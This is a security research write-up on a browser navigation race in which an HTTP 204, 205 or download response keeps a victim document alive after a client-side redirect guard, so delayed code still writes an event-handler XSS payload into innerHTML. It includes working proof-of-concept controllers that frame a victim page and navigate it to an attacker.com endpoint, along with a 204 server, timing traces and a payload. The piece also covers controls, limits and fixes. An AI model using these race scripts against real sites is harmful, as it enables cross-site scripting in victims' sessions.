Security Research

Racing the Redirect: How HTTP 204 Preserved an XSS Sink

By Zeyad Elzonkorany
1

I started this research with a small question: what exactly happens when an application treats a client-side redirect as if it were a return statement?

The answer sounds obvious at first. Assigning to location starts a navigation; it does not terminate the current JavaScript task, cancel work that another component already scheduled, or make an unsafe value safe. Usually that distinction is hidden because the replacement document commits quickly enough to destroy the old one.

I wanted to know whether that assumption could be broken deliberately. More specifically: could a second navigation prevent the guard destination from committing while also leaving the original document alive long enough for its delayed work to reach a DOM sink?

In my original Chrome PoC, the answer was yes: an event-handler payload reached innerHTML and executed in the victim document after the redirect guard had already started. I later built a second, instrumented lab to check that the result was really caused by document preservation rather than an early payload or misleading server log.

I call the behavior a no-commit navigation race. The name is intentionally descriptive. HTTP 204 is part of the mechanism, but the experiment showed that the deeper primitive is not limited to one status code.

Start with the Coding Mistake

The first version of my test page looked like this:

```js

const value = new URLSearchParams(location.search).get("name") ?? "Guest";

if (looksDangerous(value)) {

location.replace("/login");

}

setTimeout(() => {

greeting.innerHTML = `Welcome, ${value}`;

}, 500);

```

This is useful for teaching, but it contains an ordinary fall-through bug. The program continues after `location.replace()` and registers the timer. No race is needed to show that assigning to `location` is not a control-flow statement.

The stronger test schedules the work first and includes the missing `return`:

```js

const value = new URLSearchParams(location.search).get("name") ?? "Guest";

const pendingRender = setTimeout(() => {

greeting.innerHTML = `Welcome, ${value}`;

}, 500);

if (looksDangerous(value)) {

location.replace("/login");

return;

}

```

The `return` stops the rest of that function. It does not cancel `pendingRender`. In a larger application, the callback might belong to a different component, a fetch continuation, a task queue, or a message handler. The redirect guard is relying on document replacement to clean up work it does not own.

That is the security assumption being tested.

I use **redirect guard** rather than **sanitizer** here. A sanitizer transforms a value into something safe for a particular context. A navigation does not transform the value at all.

## Why a Navigation Leaves a Window

Setting `location.href`, calling `location.assign()`, or calling `location.replace()` begins navigation. The active document is not replaced at the moment the assignment occurs.

Chromium describes the authoritative commit point as the point where the browser process receives acknowledgement that the renderer created the new document. Until a navigation reaches that outcome, the old document can still matter.

There are therefore three separate facts that application code often compresses into one mental step:

1. the application requested a navigation;

2. the browser fetched and processed a response; and

3. a replacement document committed.

Only the third fact gives the application the destruction behavior on which the redirect guard depends.

## The Important Property of 204, 205, and Downloads

[RFC 9110 §15.3.5](https://www.rfc-editor.org/rfc/rfc9110.html#name-204-no-content) defines the HTTP meaning of a 204 response. The browser lifecycle behavior comes from the [HTML navigation algorithm](https://html.spec.whatwg.org/multipage/browsing-the-web.html), not from HTTP alone.

The HTML Standard explicitly describes three relevant navigation outcomes:

- HTTP 204;

- HTTP 205; and

- a response handled as a download through `Content-Disposition: attachment`.

These outcomes can abort navigation without creating a new `Document`, leaving the navigable on its original active document.

That changed my working question. I was no longer asking only, “Can a 204 response stop the redirect?” I was asking:

> What happens when a new navigation supersedes a pending redirect guard, but the new navigation itself has a no-document outcome?

The expected sequence is:

1. The victim document commits and schedules work.

2. Its guard starts a navigation to `/login`.

3. Before `/login` commits, the parent starts another navigation in the same child frame.

4. The newer navigation supersedes the pending guard navigation.

5. The newer response is 204, 205, or a download, so it does not commit a replacement document.

6. The original victim remains active.

7. The scheduled callback fires and reaches its sink.

### The Flow at a Glance

```mermaid

flowchart TB

A["1. Victim page receives untrusted input"] --> B["2. Redirect guard detects it"]

B --> C["3. Browser starts navigation to the safe page"]

C --> D["Delayed rendering work is still pending"]

D -->|"Normal path"| N1["Safe page response commits"]

N1 --> N2["Victim document is replaced"]

N2 --> N3["Pending work is destroyed"]

N3 --> N4["✅ No XSS"]

D -->|"Race path"| R1["4. A competing navigation starts<br/>before the safe page commits"]

R1 --> R2["5. Response is HTTP 204, 205,<br/>or a download"]

R2 --> R3["6. No replacement document is created"]

R3 --> R4["⚠️ Original victim document remains active"]

R4 --> R5["7. Delayed callback reaches innerHTML"]

R5 --> R6["8. Untrusted input executes"]

R6 --> R7["❌ XSS in the victim origin"]

```

The key difference is not whether the redirect starts. It starts in both paths. The difference is whether a replacement document commits before the delayed work reaches the unsafe sink.

There are two distinct bugs in that chain: the application used navigation as cleanup, and the delayed code used an unsafe sink. The browser is following its navigation rules.

## Minimal 204 Endpoint

The response endpoint used by the original PoC can be reduced to a few lines:

```js

const http = require("node:http");

http.createServer((request, response) => {

if (request.url.startsWith("/trigger-204")) {

response.writeHead(204, {

"Cache-Control": "no-store"

});

response.end();

return;

}

response.writeHead(404);

response.end();

}).listen(9090);

```

There is deliberately no response body. A CORS header is unnecessary here because the browser is navigating a frame rather than exposing the response body to attacker JavaScript.

## Minimal Controller

For a framed test, the controller only needs to create the child and later update its `src`:

```js

const frame = document.createElement("iframe");

frame.src = victimUrl;

document.body.append(frame);

setTimeout(() => {

frame.src = noCommitUrl;

}, candidateOffset);

```

This is a document navigation, not a JavaScript read of the response body, so a permissive CORS header is not what enables the test. Framing and navigation policy are the relevant boundaries.

I also avoid saying that an iframe is “in-process.” Site isolation means a cross-site child can live in another renderer process. Whether a frame or popup is faster in a particular setup is something to measure, not something to infer from the DOM API used to create it.

## The Original PoC: From Popup Failure to Race XSS

The original `detials` experiment contained useful data that should not disappear from the revised account. It was a different harness from the later authenticated lab, so I report it separately instead of mixing the numbers.

### Attempt 1: `window.open`

My first controller opened the victim in a popup and tried to navigate the returned window to the 204 endpoint:

```js

function exploit() {

const payload = "<img src=x onerror=alert('XSS')>";

const url = "http://victim.com/page.html?name=" + encodeURIComponent(payload);

const win = window.open(url);

setTimeout(() => {

win.location.href = "http://attacker.com/trigger-204";

}, 400);

}

```

In that setup, the popup approach did not produce XSS across dozens of attempts while I varied the delay from `50 ms` through `500 ms`.

The timing instrumentation showed about `467 ms` between calling `window.open()` and the victim beginning to load. The guard destination in this setup had about `200 ms` of response latency. A representative trace was:

```text

t=0 ms window.open() called

t≈400 ms competing-navigation timer fired

t≈467 ms victim began loading

t≈470 ms victim started the /login navigation

t≈670 ms /login response arrived and committed

```

The operational problem in this representative attempt is visible without guessing about process creation: the `400 ms` competitor fired before the victim was ready. Across the broader set of runs, none of the tested offsets aligned reliably with the required interval. The measured `467 ms` is valid for that run, but the timing alone does not prove how much came from window creation, renderer work, process selection, or scheduling.

### Attempt 2: an iframe

I then moved the same victim and payload into an iframe:

```js

function exploit() {

const payload = "<img src=x onerror=alert('XSS')>";

const url = "http://victim.com/page.html?name=" + encodeURIComponent(payload);

const iframe = document.createElement("iframe");

iframe.src = url;

document.body.append(iframe);

setTimeout(() => {

iframe.contentWindow.location.href = "http://attacker.com/trigger-204";

}, 100);

}

```

At the tested `100 ms` offset, the event-handler payload executed on the first run, again on the second run, and then in twenty consecutive runs in that same local setup. This was not merely a request marker: the `onerror` handler opened the XSS alert from the victim document.

The corresponding server log had the expected shape:

```text

[VICTIM] GET /victim.html?name=<img src=x onerror=...>

[VICTIM] GET /login.html ← redirect guard started

[C2] 204 triggered ← competing navigation responded

[VICTIM] GET /x ← injected image was evaluated

*** [XSS CONFIRMED] ***

```

The `/login.html` request is important. It shows that the guard did run. The observed sequence was not “the check failed to notice the payload”; it was “the guard navigation started, a second navigation superseded it, the second response did not commit a document, and the delayed sink still executed in the preserved victim.”

The original results can be summarized without turning them into a universal reliability claim:

| Original PoC mode | Tested timing | Observed result in that setup |

|---|---:|---|

| popup via `window.open()` | `50–500 ms`, dozens of attempts | no XSS hits |

| iframe | `100 ms` | first two hits, followed by `20/20` consecutive XSS hits |

This comparison is the discovery story. It does not prove that iframes are always faster than popups, and it does not prove that `100 ms` is portable. It proves that changing the browsing context made the race reachable under the recorded conditions.

## From XSS Demonstration to Authenticated Proof

The original alert establishes that the race reached script execution in the victim document. It is still poor timing instrumentation because it blocks the event loop and says little about event ordering. A request for a missing image is also ambiguous on its own because the parent can often imitate it.

For the follow-up research matrix, I replaced the alert with a non-blocking marker and gave each victim document a long random token. The token is embedded only in the victim response and is not included in the attacker-controlled URL. When the delayed sink executes, the victim sends the token to a same-origin proof endpoint.

The proof endpoint rejects a wrong token and parent telemetry pretending to use the victim's authenticated channel. The trace analyzer then refuses to count a marker as preservation evidence if it occurs before the guard or before the competing navigation.

This does not make every browser event unforgeable, but it answers the most important question in this experiment: did code inside that specific victim document reach the marker after the race?

The measurement payload is deliberately harmless:

```html

<img src=x onerror="labProof('marker')">

```

I used an event handler because a `<script>` element inserted with `innerHTML` does not execute. The defense tests separately check whether CSP or Trusted Types blocks the chosen sink.

## What Chrome Actually Did

I ran the follow-up harness in Google Chrome `152.0.7977.65` using two loopback origins. The callback delay was `650 ms`, and the guard endpoint delayed its response by `350 ms`. These are later measurement settings; they do not replace the original PoC's `500 ms` callback, `100 ms` iframe trigger, or popup observations.

The synchronized response-class matrix produced:

| Competing response | Authenticated causal result | Document outcome |

|---|---:|---|

| HTTP 204 | `2/2` hits | victim preserved |

| HTTP 205 | `2/2` hits | victim preserved |

| attachment | `1/1` hit | victim preserved |

| HTTP 200 | `0/2` hits | replacement committed |

| no competitor | `0/2` hits | guard document committed |

The sample sizes are deliberately visible. These runs establish a reproducible mechanism in this environment; they do not establish a population-wide success rate.

One authenticated HTTP 204 trial yielded these selected events from the merged trace:

```text

+43 ms victim registered its callback

+44 ms victim started the guard navigation

+46 ms server received the login request

+56 ms parent started the competing navigation

+61 ms server issued the HTTP 204 outcome

+397 ms server issued the login response

+688 ms victim callback fired

+689 ms victim assigned the HTML sink

+700 ms victim proof executed

```

The line at `+397 ms` is easy to misread. The server issued the login response, but that does not mean the browser committed a login document. The token-authenticated marker at `+700 ms` shows that the original victim was still active.

The HTTP 200 and no-competitor controls are what make that trace meaningful. In the 200 trial, the replacement committed and there was no delayed proof. Without the competitor, the login document committed and there was no delayed proof.

## It Was Not Specific to `setTimeout`

I repeated the 204 trial with several callback sources. The delayed marker survived work scheduled through:

- a timer;

- fetch completion;

- `scheduler.postTask`;

- and `MessageChannel`, gated by the same delay.

A separate manual test also reached a delayed raw-script sink. That is a sink variation, not another callback class.

That suggests the useful abstraction is **work still owned by the active document**, not one particular timer API.

The microtask control was a useful failure. Its marker ran at `+24 ms`, before the competing navigation began at `+44 ms`. It produced a visible marker, but it did not prove preservation. I classify that result as premature rather than successful.

This distinction matters. A payload firing is not automatically evidence for the mechanism being claimed.

## Blind Timing Was Different from Synchronized Timing

Synchronized mode waits for a victim signal and then applies an offset. It is useful for proving the mechanism, but an external controller should not be assumed to have that signal.

I therefore ran a blind sweep where the offset was measured from frame insertion. Two trials were run at each initial point:

| Blind offset | Causal hits |

|---:|---:|

| `0 ms` | `0/2` |

| `20 ms` | `0/2` |

| `45 ms` | `2/2` |

| `75 ms` | `2/2` |

| `110 ms` | `2/2` |

| `160 ms` | `2/2` |

| `230 ms` | `2/2` |

| `320 ms` | `2/2` |

A refinement pass produced `2/2` at `25`, `30`, `35`, and `40 ms`. In that warmed local session, the observed boundary was between `20` and `25 ms`.

That is not a universal “25 ms bypass.” It is one boundary from one browser, one machine, one warmed server, and a deliberately delayed guard response. Cold connections, scheduling pressure, process placement, and real network latency can move or erase the window.

## A Debugging Detail That Almost Looked Like Proof

When Chrome abandoned the delayed guard request, the Vinext server sometimes logged `ERR_STREAM_UNABLE_TO_PIPE`. Its response handler was trying to write to a stream the browser had already closed.

That was useful corroborating telemetry, but it was not proof that the original document survived. The browser trace and authenticated victim marker supplied that evidence. Keeping those categories separate prevented a server-side symptom from becoming an exaggerated browser claim.

## Where the Technique Stops

Preserving a document is not the same as bypassing its sink defenses.

In the Chrome trials:

| Defense | Result after callback |

|---|---|

| Trusted Types required | `innerHTML` threw; no proof |

| strict CSP | inline handler blocked by `script-src-attr`; no proof |

| `textContent` sink | payload rendered as text; no proof |

The technique also depends on several preconditions:

- the target can be embedded in the chosen context;

- the controller is allowed to navigate that context;

- the guard navigation remains pending long enough to be superseded;

- a no-commit response is processed before the guard document commits;

- delayed work remains reachable in the original document; and

- CSP, Trusted Types, sandboxing, or a context-safe sink does not independently stop execution.

Anti-framing policy such as `frame-ancestors` or `X-Frame-Options` can remove the iframe route. It should be treated as attack-surface reduction, not as a repair for unsafe rendering or broken control flow.

## Fix the Program, Not the Timing

The reliable fix is to stop treating navigation as a security primitive.

```js

const controller = new AbortController();

const value = new URLSearchParams(location.search).get("name") ?? "Guest";

startProfileRender(value, { signal: controller.signal });

if (looksDangerous(value)) {

controller.abort();

location.replace("/login");

return;

}

```

The rendering component must also honor cancellation and use a context-safe sink:

```js

async function startProfileRender(value, { signal }) {

await getProfile({ signal });

if (signal.aborted) return;

greeting.textContent = `Welcome, ${value}`;

}

```

The important properties are explicit rejection, cancellation of owned work, and a safe sink. A faster login server only makes the race harder to observe; it does not repair the invariant.

## What This Result Does and Does Not Claim

HTTP 204 navigation behavior is not new, and neither is the general fact that one navigation can cancel another. The contribution I am testing is narrower: the composition of a redirect-as-control-flow guard, already-scheduled DOM work, navigation supersession, and a no-document outcome.

So far, I can claim two related results: actual race-triggered XSS in the original controlled iframe setup, and authenticated document-preservation evidence with committing and defensive controls in the follow-up Chrome lab. I cannot yet claim:

- cross-browser equivalence;

- a reliable field success rate;

- a specific renderer-process explanation;

- widespread prevalence in production applications; or

- novelty beyond the precise delayed-sink composition without completing the related-work review.

Those limits are not a weakness in the write-up. They define the next experiments.

## Next Experiments

The next useful work is measurement rather than a larger payload:

1. repeat the response matrix in Firefox and WebKit/Safari;

2. compare cold and warmed connections;

3. measure popups, pre-created frames, and frames created at trigger time without assuming their process placement;

4. record `beforeunload`, `pagehide`, `visibilitychange`, and cleanup hooks to look for partial teardown state;

5. increase trial counts and report confidence intervals; and

6. build a static query for the redirect-guard plus delayed-sink pattern, then manually validate every result.

That is where this moves from an interesting browser behavior to a defensible research result.

The existing clip is the original XSS demonstration: the iframe is created with the event-handler payload, the competing 204 navigation starts at `100 ms`, the victim's `500 ms` timer reaches `innerHTML`, and the alert executes in the victim document. It is preserved for drafting. Before publication, its local path should be replaced; a later companion recording can show the authenticated trace and negative controls alongside the original impact demonstration.

<video controls width="100%">

<source src="video" type="video/mp4">

</video>

## Technical References

- [HTML Standard — Loading web pages](https://html.spec.whatwg.org/multipage/browsing-the-web.html)

- [Chromium — Navigation Concepts](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/navigation_concepts.md)

- [Chromium — Life of a Navigation](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/navigation.md)

- [RFC 9110 §15.3.5 — 204 No Content](https://www.rfc-editor.org/rfc/rfc9110.html#name-204-no-content)